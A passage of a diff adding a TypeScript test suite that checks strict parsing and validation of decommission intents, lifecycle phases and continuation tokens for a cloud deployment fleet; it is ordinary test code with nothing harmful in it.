+    ...(overrides.databaseExportReceiptAuthority === undefined
+      ? {}
+      : {
+          databaseExportReceiptAuthority:
+            overrides.databaseExportReceiptAuthority,
+        }),
+    lifecyclePhase,
+  };
+}
+
+function applicationResource(
+  state: ApplicationR2Resource['state'] = 'detach-authorized',
+): ApplicationR2Resource {
+  return {
+    name: 'FILES',
+    bucketName: 'acme-production-files',
+    jurisdiction: 'default',
+    state,
+    reservationNonce: 'x'.repeat(32),
+    creationDate: '2026-08-29T00:00:00.000Z',
+  };
+}
+
+function r2Purpose(): Extract<
+  DecommissionAttachmentPurpose,
+  { kind: 'application-r2-detach' }
+> {
+  return {
+    kind: 'application-r2-detach',
+    resourceIndex: 0,
+    name: 'FILES',
+    bucketName: 'acme-production-files',
+    jurisdiction: 'default',
+    reservationNonce: 'x'.repeat(32),
+    creationDate: '2026-08-29T00:00:00.000Z',
+  };
+}
+
+function parse(value: unknown, source: FleetRecord = fleetRecord()) {
+  return decommissionAdvanceIntentFromUnknown(value, source);
+}
+
+describe('decommission advance intent', () => {
+  it('round-trips every exact state arm', () => {
+    const purpose = r2Purpose();
+    const progress = initialWorkerAttachmentScan({
+      kind: 'r2',
+      bucketName: purpose.bucketName,
+    });
+    const source = fleetRecord();
+    const arms: DecommissionAdvanceIntent[] = [
+      { ...common('ready'), state: 'transitioning' },
+      {
+        ...common('application-resources-deleting'),
+        state: 'discover',
+        purpose,
+        progress,
+      },
+      {
+        ...common('application-resources-deleting'),
+        state: 'verify',
+        purpose,
+        progress,
+        discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+      },
+      {
+        ...common('application-resources-deleting'),
+        state: 'blocked',
+        purpose,
+        attachment: {
+          plane: 'dispatch',
+          scriptName: 'foreign',
+          dispatchNamespace: 'fleet',
+        },
+      },
+    ];
+    for (const arm of arms) {
+      expect(parse(JSON.parse(JSON.stringify(arm)), source)).toEqual(arm);
+    }
+    const completeSource = fleetRecord({
+      phase: 'decommissioned',
+      applicationResources: [applicationResource('deleted')],
+    });
+    const complete = {
+      ...common('ready'),
+      databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+      lifecyclePhase: 'decommissioned' as const,
+      state: 'complete' as const,
+    };
+    expect(parse(complete, completeSource)).toEqual(complete);
+  });
+
+  it('rejects future, cross-arm, extra, missing, and non-plain shapes', () => {
+    const valid = { ...common('ready'), state: 'transitioning' as const };
+    const accessor = vi.fn(() => 'transitioning');
+    const cyclic: { self?: unknown } = {};
+    cyclic.self = cyclic;
+    const transparent = new Proxy(valid, {});
+    const revoked = Proxy.revocable(valid, {});
+    revoked.revoke();
+    for (const malformed of [
+      { ...valid, version: 2 },
+      { ...valid, extra: true },
+      { ...valid, operationId: undefined },
+      { ...valid, purpose: r2Purpose() },
+      Object.assign(Object.create({ inherited: true }), valid),
+      Object.defineProperty({ ...valid }, 'state', {
+        enumerable: true,
+        get: accessor,
+      }),
+      Object.assign({ ...valid }, { [Symbol('extra')]: true }),
+      transparent,
+      revoked.proxy,
+      cyclic,
+      { ...valid, databaseExportReceiptAuthority: RECEIPT_AUTHORITY },
+    ]) {
+      expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError);
+    }
+    expect(accessor).not.toHaveBeenCalled();
+  });
+
+  it('rejects malformed identifiers, counters, timestamps, and wrapper bounds', () => {
+    const valid = { ...common('ready'), state: 'transitioning' as const };
+    for (const malformed of [
+      { ...valid, operationId: 'not-a-uuid' },
+      { ...valid, operationId: OPERATION_ID.toUpperCase() },
+      { ...valid, operationId: '12345678-1234-5abc-8def-1234567890ab' },
+      { ...valid, operationId: '12345678-1234-4abc-7def-1234567890ab' },
+      { ...valid, revision: -1 },
+      { ...valid, generation: Number.MAX_SAFE_INTEGER + 1 },
+      { ...valid, updatedAt: 'yesterday' },
+      { ...valid, updatedAt: '2026-08-29T12:00:00Z' },
+    ]) {
+      expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError);
+    }
+    for (const boundary of ['x'.repeat(4096), 'é'.repeat(2048)]) {
+      const source = fleetRecord({ routeHostname: boundary });
+      const exact = {
+        ...valid,
+        identity: identity('ready', source),
+      };
+      expect(new TextEncoder().encode(boundary).byteLength).toBe(4096);
+      expect(parse(exact, source)).toEqual(exact);
+    }
+    const overlong = 'x'.repeat(4097);
+    expect(() =>
+      parse(
+        {
+          ...valid,
+          identity: {
+            ...valid.identity,
+            record: { ...valid.identity.record, routeHostname: overlong },
+          },
+        },
+        fleetRecord({ routeHostname: overlong }),
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+    const overlongUtf8 = 'é'.repeat(2049);
+    expect(new TextEncoder().encode(overlongUtf8).byteLength).toBe(4098);
+    expect(() =>
+      parse(
+        {
+          ...valid,
+          identity: identity(
+            'ready',
+            fleetRecord({ routeHostname: overlongUtf8 }),
+          ),
+        },
+        fleetRecord({ routeHostname: overlongUtf8 }),
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+    let exactError: unknown;
+    try {
+      parse({ ...valid, version: 2 });
+    } catch (error) {
+      exactError = error;
+    }
+    expect(exactError).toMatchObject({
+      name: 'DecommissionAdvanceIntentError',
+      message: 'decommission advance intent is malformed',
+    });
+    expect(exactError).toBeInstanceOf(DecommissionAdvanceIntentError);
+  });
+
+  it('rejects every immutable record identity mismatch', () => {
+    const valid = { ...common('ready'), state: 'transitioning' as const };
+    for (const [key, value] of Object.entries({
+      tenantTag: 'other',
+      environment: 'other',
+      backend: 'workers-for-platforms',
+      scriptName: 'other',
+      databaseId: 'other',
+      databaseName: 'other',
+      routeHostname: 'other.example.test',
+    })) {
+      expect(() =>
+        parse({
+          ...valid,
+          identity: {
+            ...valid.identity,
+            record: { ...valid.identity.record, [key]: value },
+          },
+        }),
+      ).toThrow(DecommissionAdvanceIntentError);
+    }
+  });
+
+  it('requires exact detach-authorized R2 purpose identity', () => {
+    const purpose = r2Purpose();
+    const valid = {
+      ...common('application-resources-deleting'),
+      state: 'discover' as const,
+      purpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'r2' as const,
+        bucketName: purpose.bucketName,
+      }),
+    };
+    expect(parse(valid)).toEqual(valid);
+    for (const malformed of [
+      { ...valid, purpose: { ...purpose, resourceIndex: 1 } },
+      { ...valid, purpose: { ...purpose, name: 'OTHER' } },
+      { ...valid, purpose: { ...purpose, bucketName: 'other' } },
+      { ...valid, purpose: { ...purpose, jurisdiction: 'eu' } },
+      { ...valid, purpose: { ...purpose, reservationNonce: 'y'.repeat(32) } },
+      {
+        ...valid,
+        purpose: { ...purpose, creationDate: '2026-08-28T00:00:00.000Z' },
+      },
+      {
+        ...valid,
+        progress: initialWorkerAttachmentScan({
+          kind: 'r2',
+          bucketName: 'other',
+        }),
+      },
+    ]) {
+      expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError);
+    }
+    const reversedPurpose = {
+      creationDate: purpose.creationDate,
+      reservationNonce: purpose.reservationNonce,
+      jurisdiction: purpose.jurisdiction,
+      bucketName: purpose.bucketName,
+      name: purpose.name,
+      resourceIndex: purpose.resourceIndex,
+      kind: purpose.kind,
+    };
+    expect(
+      JSON.stringify(
+        (parse({ ...valid, purpose: reversedPurpose }) as { purpose: unknown })
+          .purpose,
+      ),
+    ).toBe(JSON.stringify(purpose));
+    let hostileJurisdiction: unknown;
+    try {
+      parse({ ...valid, purpose: { ...purpose, jurisdiction: {} } });
+    } catch (error) {
+      hostileJurisdiction = error;
+    }
+    expect(hostileJurisdiction).toMatchObject({
+      name: 'DecommissionAdvanceIntentError',
+      message: 'decommission advance intent is malformed',
+    });
+    expect(hostileJurisdiction).toBeInstanceOf(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse(
+        valid,
+        fleetRecord({
+          applicationResources: [applicationResource('created')],
+        }),
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+  });
+
+  it('enforces the D1 purpose, lifecycle, and durable-export table', () => {
+    const source = fleetRecord({
+      applicationResources: [applicationResource('deleted')],
+    });
+    const exportPurpose = {
+      kind: 'database-pre-export' as const,
+      databaseId: DATABASE_ID,
+    };
+    const exportIntent = {
+      ...common('application-resources-deleted', {
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+      }),
+      state: 'discover' as const,
+      purpose: exportPurpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: DATABASE_ID,
+      }),
+    };
+    expect(parse(exportIntent, source)).toEqual(exportIntent);
+    const deletePurpose = {
+      kind: 'database-pre-delete' as const,
+      databaseId: DATABASE_ID,
+      exportLocation: 'r2://exports/database.sqlite',
+      exportSha256: 'c'.repeat(64),
+      exportSize: 128,
+    };
+    const deleteIntent = {
+      ...common('database-exported', {
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+      }),
+      state: 'discover' as const,
+      purpose: deletePurpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: DATABASE_ID,
+      }),
+    };
+    expect(parse(deleteIntent, source)).toEqual(deleteIntent);
+    expect(
+      parse({ ...deleteIntent, lifecyclePhase: 'database-deleting' }, source),
+    ).toMatchObject({ lifecyclePhase: 'database-deleting' });
+    for (const malformed of [
+      {
+        ...exportIntent,
+        purpose: { ...exportPurpose, databaseId: 'other' },
+      },
+      { ...exportIntent, lifecyclePhase: 'ready' },
+      {
+        ...exportIntent,
+        progress: initialWorkerAttachmentScan({
+          kind: 'd1' as const,
+          databaseId: 'other',
+        }),
+      },
+      {
+        ...deleteIntent,
+        purpose: { ...deletePurpose, databaseId: 'other' },
+      },
+      {
+        ...deleteIntent,
+        purpose: { ...deletePurpose, exportLocation: 'r2://other' },
+      },
+      {
+        ...deleteIntent,
+        purpose: { ...deletePurpose, exportSha256: 'd'.repeat(64) },
+      },
+      {
+        ...deleteIntent,
+        purpose: { ...deletePurpose, exportSize: 129 },
+      },
+      { ...deleteIntent, lifecyclePhase: 'application-resources-deleted' },
+      {
+        ...deleteIntent,
+        progress: initialWorkerAttachmentScan({
+          kind: 'd1' as const,
+          databaseId: 'other',
+        }),
+      },
+    ]) {
+      expect(() => parse(malformed, source)).toThrow(
+        DecommissionAdvanceIntentError,
+      );
+    }
+    for (const malformed of [
+      {
+        ...exportIntent,
+        databaseExportReceiptAuthority: undefined,
+      },
+      (() => {
+        const {
+          databaseExportReceiptAuthority: _databaseExportReceiptAuthority,
+          ...withoutAuthority
+        } = exportIntent;
+        return withoutAuthority;
+      })(),
+      {
+        ...deleteIntent,
+        databaseExportReceiptAuthority: '',
+      },
+      {
+        ...deleteIntent,
+        databaseExportReceiptAuthority: 'x'.repeat(4097),
+      },
+    ]) {
+      expect(() => parse(malformed, source)).toThrow(
+        DecommissionAdvanceIntentError,
+      );
+    }
+    const exactAuthority = 'é'.repeat(2048);
+    expect(new TextEncoder().encode(exactAuthority)).toHaveLength(4096);
+    expect(
+      parse(
+        { ...exportIntent, databaseExportReceiptAuthority: exactAuthority },
+        source,
+      ),
+    ).toMatchObject({ databaseExportReceiptAuthority: exactAuthority });
+    const activeD1Shapes = [
+      exportIntent,
+      deleteIntent,
+      {
+        ...common('database-exported', {
+          databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        }),
+        state: 'transitioning' as const,
+      },
+      {
+        ...common('database-deleting', {
+          databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        }),
+        state: 'transitioning' as const,
+      },
+      { ...deleteIntent, lifecyclePhase: 'database-deleting' as const },
+      {
+        ...deleteIntent,
+        lifecyclePhase: 'database-deleting' as const,
+        state: 'verify' as const,
+        discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+      },
+    ];
+    const completeIntent = {
+      ...common('ready'),
+      databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+      lifecyclePhase: 'decommissioned' as const,
+      state: 'complete' as const,
+    };
+    for (const state of [
+      'reserved',
+      'create-authorized',
+      'created',
+      'detach-authorized',
+      'detached',
+      'empty-authorized',
+      'empty',
+      'delete-authorized',
+    ] as const) {
+      const malformedResources = [
+        { ...applicationResource(), state } as ApplicationR2Resource,
+      ];
+      for (const shape of activeD1Shapes) {
+        expect(() =>
+          parse(
+            shape,
+            fleetRecord({ applicationResources: malformedResources }),
+          ),
+        ).toThrow(DecommissionAdvanceIntentError);
+      }
+      expect(() =>
+        parse(
+          completeIntent,
+          fleetRecord({
+            phase: 'decommissioned',
+            applicationResources: malformedResources,
+          }),
+        ),
+      ).toThrow(DecommissionAdvanceIntentError);
+    }
+  });
+
+  it('rejects malformed, future, and target-mismatched R1 progress', () => {
+    const purpose = r2Purpose();
+    const valid = {
+      ...common('application-resources-deleting'),
+      state: 'discover' as const,
+      purpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'r2',
+        bucketName: purpose.bucketName,
+      }),
+    };
+    for (const progress of [
+      { ...valid.progress, version: 2 },
+      { ...valid.progress, unexpected: true },
+      initialWorkerAttachmentScan({ kind: 'r2', bucketName: 'other' }),
+    ]) {
+      expect(() => parse({ ...valid, progress })).toThrow(
+        DecommissionAdvanceIntentError,
+      );
+    }
+  });
+
+  it('requires terminal-shaped discover evidence and purpose lifecycle', () => {
+    const purpose = r2Purpose();
+    const valid = {
+      ...common('application-resources-deleting'),
+      state: 'verify' as const,
+      purpose,
+      progress: initialWorkerAttachmentScan({
+        kind: 'r2' as const,
+        bucketName: purpose.bucketName,
+      }),
+      discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+    };
+    expect(parse(valid)).toEqual(valid);
+    expect(
+      parse({
+        ...valid,
+        discoverEvidence: {
+          ...valid.discoverEvidence,
+          evidenceCount: 1_000_000,
+        },
+      }),
+    ).toMatchObject({ discoverEvidence: { evidenceCount: 1_000_000 } });
+    for (const malformed of [
+      {
+        ...valid,
+        discoverEvidence: { ...valid.discoverEvidence, evidenceCount: 1 },
+      },
+      {
+        ...valid,
+        discoverEvidence: { ...valid.discoverEvidence, evidenceSha256: 'bad' },
+      },
+      {
+        ...valid,
+        discoverEvidence: {
+          ...valid.discoverEvidence,
+          evidenceCount: 1_000_001,
+        },
+      },
+      { ...valid, lifecyclePhase: 'application-resources-deleted' },
+    ]) {
+      expect(() => parse(malformed)).toThrow(DecommissionAdvanceIntentError);
+    }
+  });
+
+  it('enforces lifecycle reachability and outer phase relationships', () => {
+    const valid = { ...common('ready'), state: 'transitioning' as const };
+    expect(parse(valid)).toEqual(valid);
+    const considered = [...INITIAL_PHASES, ...TEARDOWN_PHASES];
+    for (const entry of INITIAL_PHASES) {
+      for (const current of considered) {
+        const initialSource =
+          entry === 'migrating' && current === 'migrating'
+            ? fleetRecord({
+                pendingSpecDigest: 'd'.repeat(64),
+                pendingArtifactVersion: 'candidate-v1',
+              })
+            : fleetRecord();
+        const source = [
+          'application-resources-deleted',
+          'database-exported',
+          'database-deleting',
+        ].includes(current)
+          ? {
+              ...initialSource,
+              applicationResources: [applicationResource('deleted')],
+            }
+          : initialSource;
+        const requestedSpecDigest =
+          entry === 'migrating' && current === 'migrating'
+            ? 'd'.repeat(64)
+            : source.desiredSpecDigest;
+        const candidate = {
+          ...common(current, {
+            ...(['database-exported', 'database-deleting'].includes(current)
+              ? { databaseExportReceiptAuthority: RECEIPT_AUTHORITY }
+              : {}),
+          }),
+          identity: identity(entry, source, requestedSpecDigest),
+          state: 'transitioning' as const,
+        };
+        if (current === entry || TEARDOWN_PHASES.includes(current as never)) {
+          expect(parse(candidate, source)).toEqual(candidate);
+        } else {
+          expect(() => parse(candidate, source)).toThrow(
+            DecommissionAdvanceIntentError,
+          );
+        }
+      }
+    }
+    for (
+      let entryIndex = 0;
+      entryIndex < TEARDOWN_PHASES.length;
+      entryIndex += 1
+    ) {
+      for (const current of considered) {
+        const entry = TEARDOWN_PHASES[
+          entryIndex
+        ] as NormalDecommissionLifecyclePhase;
+        const currentIndex = TEARDOWN_PHASES.indexOf(current as never);
+        const source = [
+          'application-resources-deleted',
+          'database-exported',
+          'database-deleting',
+        ].includes(current)
+          ? fleetRecord({
+              applicationResources: [applicationResource('deleted')],
+            })
+          : fleetRecord();
+        const candidate = {
+          ...common(current, {
+            ...(['database-exported', 'database-deleting'].includes(current)
+              ? { databaseExportReceiptAuthority: RECEIPT_AUTHORITY }
+              : {}),
+          }),
+          identity: identity(entry, source),
+          state: 'transitioning' as const,
+        };
+        if (currentIndex >= entryIndex)
+          expect(parse(candidate, source)).toEqual(candidate);
+        else
+          expect(() => parse(candidate, source)).toThrow(
+            DecommissionAdvanceIntentError,
+          );
+      }
+    }
+    for (const lifecyclePhase of PROVISIONING_PHASES.filter(
+      (phase) =>
+        ![
+          'publishing',
+          'ready',
+          'migrating',
+          'rolling-back',
+          ...[
+            'decommissioning',
+            'traffic-removed',
+            'credentials-revoked',
+            'worker-deleted',
+            'platform-credentials-revoked',
+            'platform-resources-deleted',
+            'application-resources-deleting',
+            'application-resources-deleted',
+            'database-exported',
+            'database-deleting',
+          ],
+        ].includes(phase),
+    )) {
+      expect(() => parse({ ...valid, lifecyclePhase })).toThrow(
+        DecommissionAdvanceIntentError,
+      );
+    }
+    expect(() => parse(valid, fleetRecord({ phase: 'ready' }))).toThrow(
+      DecommissionAdvanceIntentError,
+    );
+    expect(() => parse({ ...valid, identity: identity('publishing') })).toThrow(
+      DecommissionAdvanceIntentError,
+    );
+    const missingShell = fleetRecord({
+      phase: 'decommission-advancing',
+      decommissionIntent: undefined,
+    });
+    expect(() => effectiveLifecyclePhase(missingShell)).toThrow(
+      'decommission-advancing record has no active decommission intent',
+    );
+    const malformedComplete = fleetRecord({
+      phase: 'ready',
+      decommissionIntent: {
+        ...common('ready'),
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        lifecyclePhase: 'decommissioned',
+        state: 'complete',
+      },
+    });
+    expect(() => assertNoActiveDecommission(malformedComplete, 'test')).toThrow(
+      'test cannot run during an active decommission',
+    );
+  });
+
+  it('validates migration carriers and rejects reserved backend-switch mode', () => {
+    const pendingSpecDigest = 'd'.repeat(64);
+    const migrating = fleetRecord({
+      backend: 'plain-worker',
+      pendingSpecDigest,
+      pendingArtifactVersion: 'pending-version',
+    });
+    const valid = {
+      ...common('migrating'),
+      identity: {
+        ...identity('migrating'),
+        mode: {
+          kind: 'normal' as const,
+          requestedSpecDigest: pendingSpecDigest,
+          entryLifecyclePhase: 'migrating' as const,
+        },
+      },
+      state: 'transitioning' as const,
+    };
+    expect(parse(valid, migrating)).toEqual(valid);
+    expect(parse(valid, fleetRecord({ pendingSpecDigest }))).toEqual(valid);
+    for (const pendingArtifactVersion of ['', 'pending', 42]) {
+      expect(() =>
+        parse(valid, {
+          ...migrating,
+          pendingArtifactVersion: pendingArtifactVersion as never,
+        }),
+      ).toThrow(DecommissionAdvanceIntentError);
+    }
+    expect(() =>
+      parse({ ...valid, lifecyclePhase: 'decommissioning' }, migrating),
+    ).toThrow(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse({ ...valid, identity: identity('migrating') }, migrating),
+    ).toThrow(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse({
+        ...valid,
+        identity: {
+          ...valid.identity,
+          mode: {
+            kind: 'backend-switch',
+            priorSpecDigest: DIGEST,
+            targetSpecDigest: DIGEST,
+            decommissionSnapshotSha256: DIGEST,
+            backendSwitchSubphase: 'decommission-application-r2-authorized',
+          },
+        },
+      }),
+    ).toThrow(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse(
+        { ...common('ready'), state: 'transitioning' },
+        fleetRecord({ pendingSpecDigest: 'd'.repeat(64) }),
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse(valid, fleetRecord({ migrationIntent: {} as never })),
+    ).toThrow(DecommissionAdvanceIntentError);
+
+    const wfpMigration = fleetRecord({
+      backend: 'workers-for-platforms',
+      pendingSpecDigest,
+      migrationIntent: { targetSpecDigest: pendingSpecDigest } as never,
+    });
+    const wfpValid = {
+      ...valid,
+      identity: identity('migrating', wfpMigration, pendingSpecDigest),
+    };
+    expect(parse(wfpValid, wfpMigration)).toEqual(wfpValid);
+    expect(() =>
+      parse(wfpValid, { ...wfpMigration, migrationIntent: undefined }),
+    ).toThrow(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse(wfpValid, {
+        ...wfpMigration,
+        pendingSpecDigest: 'e'.repeat(64),
+      }),
+    ).toThrow(DecommissionAdvanceIntentError);
+
+    const advanced = {
+      ...common('decommissioning'),
+      identity: {
+        ...identity('migrating'),
+        mode: {
+          kind: 'normal' as const,
+          requestedSpecDigest: DIGEST,
+          entryLifecyclePhase: 'migrating' as const,
+        },
+      },
+      state: 'transitioning' as const,
+    };
+    expect(parse(advanced)).toEqual(advanced);
+    expect(() =>
+      parse({
+        ...advanced,
+        identity: {
+          ...advanced.identity,
+          mode: {
+            ...advanced.identity.mode,
+            requestedSpecDigest: 'f'.repeat(64),
+          },
+        },
+      }),
+    ).toThrow(DecommissionAdvanceIntentError);
+  });
+
+  it('requires an exact safe blocked attachment union', () => {
+    const base = {
+      ...common('application-resources-deleting'),
+      state: 'blocked' as const,
+      purpose: r2Purpose(),
+    };
+    expect(
+      parse({ ...base, attachment: { plane: 'ordinary', scriptName: 'one' } }),
+    ).toMatchObject({
+      attachment: { plane: 'ordinary', scriptName: 'one' },
+    });
+    for (const attachment of [
+      { plane: 'ordinary', scriptName: 'one', dispatchNamespace: 'fleet' },
+      { plane: 'dispatch', scriptName: 'one' },
+      { plane: 'dispatch', scriptName: '', dispatchNamespace: 'fleet' },
+      {
+        plane: 'dispatch',
+        scriptName: 'one',
+        dispatchNamespace: 'fleet',
+        token: 'secret',
+      },
+    ]) {
+      expect(() => parse({ ...base, attachment })).toThrow(
+        DecommissionAdvanceIntentError,
+      );
+    }
+  });
+
+  it('requires evidence-free terminal state and complete record invariants', () => {
+    const source = fleetRecord({
+      backend: 'workers-for-platforms',
+      phase: 'decommissioned',
+      applicationResources: [applicationResource('deleted')],
+      activeRelease: {
+        physicalScriptName: 'acme-production-aaaaaaaaaaaaaaaaaaaa',
+        specDigest: DIGEST,
+        artifactVersion: 'version-1',
+        releaseSchemaVersion: 1,
+      },
+    });
+    const valid = {
+      ...common('ready'),
+      identity: identity('ready', source),
+      databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+      lifecyclePhase: 'decommissioned' as const,
+      state: 'complete' as const,
+    };
+    expect(parse(valid, source)).toEqual(valid);
+    const {
+      databaseExportReceiptAuthority: _databaseExportReceiptAuthority,
+      ...missingReceiptAuthority
+    } = valid;
+    expect(() => parse(missingReceiptAuthority, source)).toThrow(
+      DecommissionAdvanceIntentError,
+    );
+    expect(() =>
+      parse({ ...valid, databaseExportReceiptAuthority: undefined }, source),
+    ).toThrow(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse(
+        {
+          ...valid,
+          discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+        },
+        source,
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+    expect(() =>
+      parse(valid, { ...source, databaseExportSize: undefined }),
+    ).toThrow(DecommissionAdvanceIntentError);
+    for (const malformedSource of [
+      { ...source, phase: 'ready' as const },
+      { ...source, applicationResources: [applicationResource('created')] },
+      { ...source, databaseExportLocation: undefined },
+      { ...source, databaseExportSha256: undefined },
+      { ...source, pendingSpecDigest: 'd'.repeat(64) },
+      { ...source, pendingArtifactVersion: 'pending-version' },
+      { ...source, pendingRelease: {} as never },
+      { ...source, migrationPriorRelease: {} as never },
+      { ...source, rollbackRelease: {} as never },
+      { ...source, retiringRelease: {} as never },
+      { ...source, migrationIntent: {} as never },
+      { ...source, backendSwitchIntent: {} as never },
+    ]) {
+      expect(() => parse(valid, malformedSource)).toThrow(
+        DecommissionAdvanceIntentError,
+      );
+    }
+    expect(() =>
+      parse(
+        {
+          ...valid,
+          identity: {
+            ...valid.identity,
+            mode: {
+              kind: 'normal',
+              requestedSpecDigest: 'f'.repeat(64),
+              entryLifecyclePhase: 'migrating',
+            },
+          },
+        },
+        source,
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+  });
+
+  it('parses exact secret-negative continuation tokens', () => {
+    const valid = {
+      version: 1 as const,
+      tenantTag: 'acme',
+      environment: 'production',
+      operationId: OPERATION_ID,
+      revision: 3,
+    };
+    expect(parseDecommissionAdvanceToken(valid)).toEqual(valid);
+    const transparent = new Proxy(valid, {});
+    const revoked = Proxy.revocable(valid, {});
+    revoked.revoke();
+    expect(() => parseDecommissionAdvanceToken(transparent)).toThrow(
+      DecommissionAdvanceTokenError,
+    );
+    expect(() => parseDecommissionAdvanceToken(revoked.proxy)).toThrow(
+      DecommissionAdvanceTokenError,
+    );
+    const actions: readonly DecommissionAdvanceAction[] = [
+      { kind: 'start' },
+      { kind: 'continue', token: valid },
+      { kind: 'restart-blocked', token: valid },
+    ];
+    const capabilities: readonly DecommissionAdvanceCapability[] = [
+      'attachment-scan',
+      'database-residuals',
+      'application-r2-inspection',
+      'application-r2-empty',
+      'application-r2-delete',
+      'database-export-receipt',
+    ];
+    const result: DecommissionAdvanceResult = {
+      status: 'pending',
+      token: valid,
+    };
+    type AdvanceAction = AdvanceDecommissionDeploymentOptions['action'];
+    const action: AdvanceAction = actions[0] as DecommissionAdvanceAction;
+    expect({ actions, capabilities, result, action }).toMatchObject({
+      result: { status: 'pending', token: valid },
+    });
+    const tokenAtSerializedBytes = (byteLength: number) => {
+      const current = new TextEncoder().encode(
+        JSON.stringify(valid),
+      ).byteLength;
+      const token = {
+        ...valid,
+        tenantTag: `${valid.tenantTag}${'x'.repeat(byteLength - current)}`,
+      };
+      expect(new TextEncoder().encode(JSON.stringify(token)).byteLength).toBe(
+        byteLength,
+      );
+      return token;
+    };
+    const exactBound = tokenAtSerializedBytes(1024);
+    expect(parseDecommissionAdvanceToken(exactBound)).toEqual(exactBound);
+    expect(() =>
+      parseDecommissionAdvanceToken(tokenAtSerializedBytes(1025)),
+    ).toThrow(DecommissionAdvanceTokenError);
+    expect(JSON.stringify(valid)).not.toMatch(
+      /cursor|evidence|database|token/iu,
+    );
+    for (const malformed of [
+      { ...valid, version: 2 },
+      { ...valid, cursor: 'secret' },
+      { ...valid, revision: -1 },
+      { ...valid, operationId: 'bad' },
+      { ...valid, operationId: OPERATION_ID.toUpperCase() },
+      { ...valid, operationId: '12345678-1234-5abc-8def-1234567890ab' },
+      { ...valid, tenantTag: 'x'.repeat(600), environment: 'y'.repeat(600) },
+    ]) {
+      expect(() => parseDecommissionAdvanceToken(malformed)).toThrow(
+        DecommissionAdvanceTokenError,
+      );
+    }
+    let exactError: unknown;
+    try {
+      parseDecommissionAdvanceToken({ ...valid, version: 2 });
+    } catch (error) {
+      exactError = error;
+    }
+    expect(exactError).toMatchObject({
+      name: 'DecommissionAdvanceTokenError',
+      message: 'decommission advance token is malformed',
+    });
+    expect(exactError).toBeInstanceOf(DecommissionAdvanceTokenError);
+  });
+
+  it('classifies current, stale, future, deployment, operation, and complete tokens', () => {
+    const intent = {
+      ...common('ready', { revision: 3 }),
+      state: 'transitioning' as const,
+    };
+    const source = fleetRecord({ decommissionIntent: intent });
+    const token = {
+      version: 1 as const,
+      tenantTag: 'acme',
+      environment: 'production',
+      operationId: OPERATION_ID,
+      revision: 3,
+    };
+    expect(classifyDecommissionAdvanceToken(token, source)).toBe('current');
+    expect(
+      classifyDecommissionAdvanceToken({ ...token, revision: 2 }, source),
+    ).toBe('stale');
+    expect(() =>
+      classifyDecommissionAdvanceToken({ ...token, revision: 4 }, source),
+    ).toThrow(DecommissionAdvanceTokenFutureError);
+    expect(() =>
+      classifyDecommissionAdvanceToken(
+        { ...token, tenantTag: 'other' },
+        source,
+      ),
+    ).toThrow(DecommissionAdvanceTokenDeploymentError);
+    expect(() =>
+      classifyDecommissionAdvanceToken(
+        { ...token, environment: 'other' },
+        source,
+      ),
+    ).toThrow(DecommissionAdvanceTokenDeploymentError);
+    expect(() =>
+      classifyDecommissionAdvanceToken(
+        { ...token, operationId: 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa' },
+        source,
+      ),
+    ).toThrow(DecommissionAdvanceTokenOperationError);
+    expect(() =>
+      classifyDecommissionAdvanceToken(token, fleetRecord()),
+    ).toThrow(DecommissionAdvanceTokenOperationError);
+    for (const [operation, Expected, message] of [
+      [
+        () =>
+          classifyDecommissionAdvanceToken({ ...token, revision: 4 }, source),
+        DecommissionAdvanceTokenFutureError,
+        'decommission advance token is from the future',
+      ],
+      [
+        () =>
+          classifyDecommissionAdvanceToken(
+            { ...token, environment: 'other' },
+            source,
+          ),
+        DecommissionAdvanceTokenDeploymentError,
+        'decommission advance token targets another deployment',
+      ],
+      [
+        () => classifyDecommissionAdvanceToken(token, fleetRecord()),
+        DecommissionAdvanceTokenOperationError,
+        'decommission advance token targets another operation',
+      ],
+    ] as const) {
+      let refusal: unknown;
+      try {
+        operation();
+      } catch (error) {
+        refusal = error;
+      }
+      expect(refusal).toBeInstanceOf(Expected);
+      expect((refusal as Error).message).toBe(message);
+    }
+    const completeSource = fleetRecord({
+      phase: 'decommissioned',
+      applicationResources: [applicationResource('deleted')],
+      decommissionIntent: {
+        ...intent,
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        lifecyclePhase: 'decommissioned',
+        state: 'complete',
+      },
+    });
+    expect(
+      classifyDecommissionAdvanceToken(
+        { ...token, revision: 2 },
+        completeSource,
+      ),
+    ).toBe('stale');
+    expect(classifyDecommissionAdvanceToken(token, completeSource)).toBe(
+      'current',
+    );
+    expect(() =>
+      classifyDecommissionAdvanceToken(
+        { ...token, revision: 4 },
+        completeSource,
+      ),
+    ).toThrow(DecommissionAdvanceTokenFutureError);
+    expect(() =>
